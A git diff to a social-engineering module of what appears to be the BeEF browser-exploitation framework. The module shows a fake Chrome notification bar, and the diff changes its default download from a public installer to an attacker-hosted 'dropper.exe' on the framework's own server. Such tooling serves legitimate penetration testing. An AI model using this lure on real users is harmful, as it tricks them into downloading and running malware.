diff --git a/modules/social_engineering/fake_notification_c/config.yaml b/modules/social_engineering/fake_notification_c/config.yaml
index 419b68585..64d179ddd 100644
--- a/modules/social_engineering/fake_notification_c/config.yaml
+++ b/modules/social_engineering/fake_notification_c/config.yaml
@@ -9,7 +9,7 @@ beef:
enable: true
category: "Social Engineering"
name: "Fake Notification Bar (Chrome)"
- description: "Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the notification they will be prompted to download the file specified below."
+ description: "Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the notification they will be prompted to download the file specified below.
You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt."
authors: ["xntrik", "bcoles"]
target:
user_notify: ['ALL']
diff --git a/modules/social_engineering/fake_notification_c/module.rb b/modules/social_engineering/fake_notification_c/module.rb
index bb174aad8..e8390e951 100644
--- a/modules/social_engineering/fake_notification_c/module.rb
+++ b/modules/social_engineering/fake_notification_c/module.rb
@@ -6,8 +6,14 @@
class Fake_notification_c < BeEF::Core::Command
def self.options
+ @configuration = BeEF::Core::Configuration.instance
+ proto = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
+ beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+ beef_port = @configuration.get("beef.http.public_port") || @configuration.get("beef.http.port")
+ base_host = "#{proto}://#{beef_host}:#{beef_port}"
+
return [
- {'name' => 'url', 'ui_label' => 'URL', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', 'width'=>'150px'},
+ {'name' => 'url', 'ui_label' => 'URL', 'value' => "#{base_host}/dropper.exe", 'width'=>'150px'},
{ 'name' => 'notification_text',
'description' => 'Text displayed in the notification bar',
'ui_label' => 'Notification text',